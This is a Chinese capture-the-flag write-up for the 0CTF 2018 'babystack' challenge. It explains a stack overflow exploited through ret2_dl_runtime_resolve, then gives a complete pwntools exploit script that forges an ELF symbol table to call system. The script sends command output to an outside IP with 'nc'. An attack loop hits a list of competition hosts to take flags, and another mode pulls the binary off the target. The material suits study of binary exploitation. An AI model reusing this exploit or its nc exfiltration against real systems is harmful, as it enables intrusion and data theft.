[0CTF-2018] babystack

分析

这题,开门有惊喜

overflow

整个题就一个read,也只有这有一个溢出点,然后,啥都没了。

emmmmm,同学,你听说过安利吗(雾)

不对,你听说过got表吗,好的,听说过

那,同学你 听说过解析解析got表的函数嘛,就是把动态链接库的函数地址写到got表里面的家伙

emmmmmm,这啥啊,咋回事啊(黑人问号.jpg)

那么,ret2_dl_runtime_resolve 了解一下吧

好的,你已经了解了ret2_dl_runtime_resolve,那么这个题就变得十分简单了。

首先使用read在bss段上伪造一个ELF Symbol Table,然后调用plt[0]去解析它,就可以让它执行system啦!

就这样,很轻松的写出了exp,这题很简单嘛。

这时,翻看了一下压缩包,发现了一个奇怪的东西

咦,这个pow.py是什么东东,下面这个函数是啥啊

1
2
3
4
5
def exec_serv(name, payload):
p = subprocess.Popen(name, stdin=subprocess.PIPE, stdout=file('/dev/null','w'), stderr=subprocess.STDOUT)
p.stdin.write(payload)
p.wait()

换句话来讲,这题是没有回显的,把payload发过去后,对面程序就不鸟你了

其实只需要在自己的服务器上

1
nc -l 5000

然后再exp中让system执行

1
cat flag|nc xxx.xxx.xxx.xxx 5000

就可以把flag传出来啦

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
#!/usr/bin/env python2
# -*- coding: utf-8 -*- #
from pwn import *
import time
import os
from hashlib import sha256

# 调试模式 会使用gdb联调
DEBUG = 0

# 啰嗦模式
VERBOSE = 1

# 0 local 1 remote 2 attack
MODE = 1

# 程序名
PROGRAM_NAME = './babystack'

# libc
REMOTE_LIBC = False

# 地址
IP = '202.120.7.202'

PORT = 6666
#IP = '127.0.0.1'
#PORT = 17001

# gdb调试配置 根据机器更改
# context.terminal = ['tmux', 'splitw', '-h']
context.terminal = ['xfce4-terminal', '-x', 'sh', '-c']
context.arch = 'i386'

# 是否开启 aslr
context.aslr = True


# export LD_LIBRARY_PATH=/home/plusls/Desktop/kanxuectf/4-BPG-club
# LD_PRELOAD
# socat tcp-l:8888,reuseaddr,fork system:LD_PRELOAD=./libc.so.6 ./club

# 地址 程序常量
system_offset = 0
_IO_list_all_offset = 0
__malloc_hook_offset = 0
one_gadget_offset = 0



def set_breakpoint(breakpoint_list, pie=False):
'''生成设置断点的命令'''
ret = ''
offset = 0
if pie is True:
if context.aslr is True:
return ''
if context.arch == 'amd64': # 64位下gdb关闭aslr后基址为 0x555555554000
offset = 0x555555554000
elif context.arch == 'i386': # 32位为0x56555000
offset = 0x56555000
for breakpoint in breakpoint_list:
ret += 'b *%d\n' % (breakpoint + offset)
return ret


def get_shell(ip='', port=0):
# 设置断点

breakpoint = set_breakpoint([0x08048456], pie=False)
#breakpoint = ''
gdbscript = breakpoint + 'c\n'
if VERBOSE:
context.log_level = 'debug'

global system_offset, _IO_list_all_offset, __malloc_hook_offset, one_gadget_offset
if REMOTE_LIBC:
env = {"LD_PRELOAD": os.path.join(os.getcwd(), "./libc.remote")}

system_offset = 0x45390
_IO_list_all_offset = 0x3c5520
__malloc_hook_offset = 0x3c4b10
__free_hook_offset = 0x3c67a8
one_gadget_offset =0x04523E
libc_ptr_offset = 0x3c4b31
heap_ptr_offset = 0x240
fastbin_0x70_offset = 0x30
main_arena_offset = 0x3c4b20
else:
env = {"LD_PRELOAD": os.path.join(os.getcwd(), "./libc.local")}
env = {}

system_offset = 0x456a0
_IO_list_all_offset = 0x3c2500
__malloc_hook_offset = 0x3c1af0
__free_hook_offset = 0x3c3788
one_gadget_offset = 0x0F24CB
libc_ptr_offset = 0x3c1b31
heap_ptr_offset = 0x240
main_arena_offset = 0x3c1b00
fastbin_0x70_offset = 0x30




if MODE == 0:
if DEBUG:
# debug
program = gdb.debug((PROGRAM_NAME, ), gdbscript=gdbscript, env=env)
# 等待输入后继续运行
raw_input('')
# gdb.attach(program)
else:
# 直接运行程序
program = process((PROGRAM_NAME, ), env=env)
sol = ''
else:
# 远程
program = remote(ip, port)
#program = process('./pow.py')

chal = program.recvuntil('\n')[:-1]
for i in xrange(0x100000000):
if sha256(chal + p32(i)).digest().startswith('\0\0\0'):
sol = p32(i)
break
#sol = 'fuck'
program.send(sol)


payload = ''
payload += (0x28+4) * 'a'
payload += p32(0x08048300) # read
payload += p32(0x0804843B) #
#payload += p32(0x080484E9) # pop 3 arg
payload += p32(0) # fd
payload += p32(0x0804A024) # buf
payload += p32(40) # len

l1 = len(payload)

main_elf = ELF('./babystack')
#payload += '/bin/sh'.ljust(8, '\x00') # 0x0804A024 -> 0x0804A02c
payload += '/bin/sh'.ljust(8, '\x00') # 0x0804A024 -> 0x0804A02c

#payload += 'fuck'.ljust(8, '\x00') # 0x0804A024 -> 0x0804A02c

# fake ELF Symbol Table
payload += p32(0x1e10) + p32(0) + p32(0) + p32(0x12) # [offset, 0, 0, 0x12] offset = 0x0804A02c + 16 - 0x804822C = 0x1e10
payload += 'system\x00\x00'
payload += p32(0x804A020) + p32(0x1e607) # [addr, offset] offset = ((0x0804A02c - 0x80481CC) << 4) + 7 = 0x1e607
#program.sendline(payload)

l2 = len(payload) - l1

# plt offset = hex(0x0804A02c + 16 + 8 - 0x80482B0)=0x1d94

#raw_input()
payload += (0x28+4) * 'a'
payload += p32(0x080482F0) # plt 0
payload += p32(0x1d94) # fd
payload += p32(0x0804843B) #
payload += p32(0x0804A024) # binsh
payload += 'a'*4
#payload += 'curl baidu.com && exit\n'
# payload += 'ls -al|nc 139.199.155.42 10086\n'
payload += 'pwd|nc 139.199.155.42 10086\n'




l3 = len(payload) - l2 - l1
log.info('%d %d %d 0x%x' % (l1, l2, l3, len(payload)))

log.info(repr(payload.ljust(0x100, '\n')))
payload = payload.ljust(0x100, '\n')
fp = open('out.data', 'wb')
fp.write(payload)
fp.close()
program.sendline(payload)
return program

def attack(sleep_time=10):
# 打全场 线下赛使用
ip_list = ['172.16.20.4', '172.16.20.5',
'172.16.20.7', '172.16.20.9', '172.16.20.11']
# ip_list = ['127.0.0.1']
while True:
for ip in ip_list:
try:
program = get_shell(ip=ip, port=2111)
program.sendline('cd /home/tsctf/flag')
program.sendline('cat flag')
flag = program.recvall(timeout=1)[-32:]
log.info('flag=' + flag)
#submit_flag(ip, '2', flag)
program.close()
except:
print('FUCK')
time.sleep(sleep_time)


def main():
if MODE == 0: # local
program = get_shell()
program.interactive()
elif MODE == 1: # remote
program = get_shell(ip=IP, port=PORT)
#program = get_shell(ip='127.0.0.1', port=17001)

program.interactive()
elif MODE == 2: # attack
attack(sleep_time=10)
elif MODE == 3: # 取回二进制文件
program = get_shell(ip=IP, port=PORT)
program.recv(timeout=1)
program.sendline('cat pwn2')
program.sendline('exit')

recv_data = program.recvall()
fp = open('dump', 'wb')
fp.write(recv_data)
fp.close()



if __name__ == '__main__':
main()

附录

附件: babystack.zip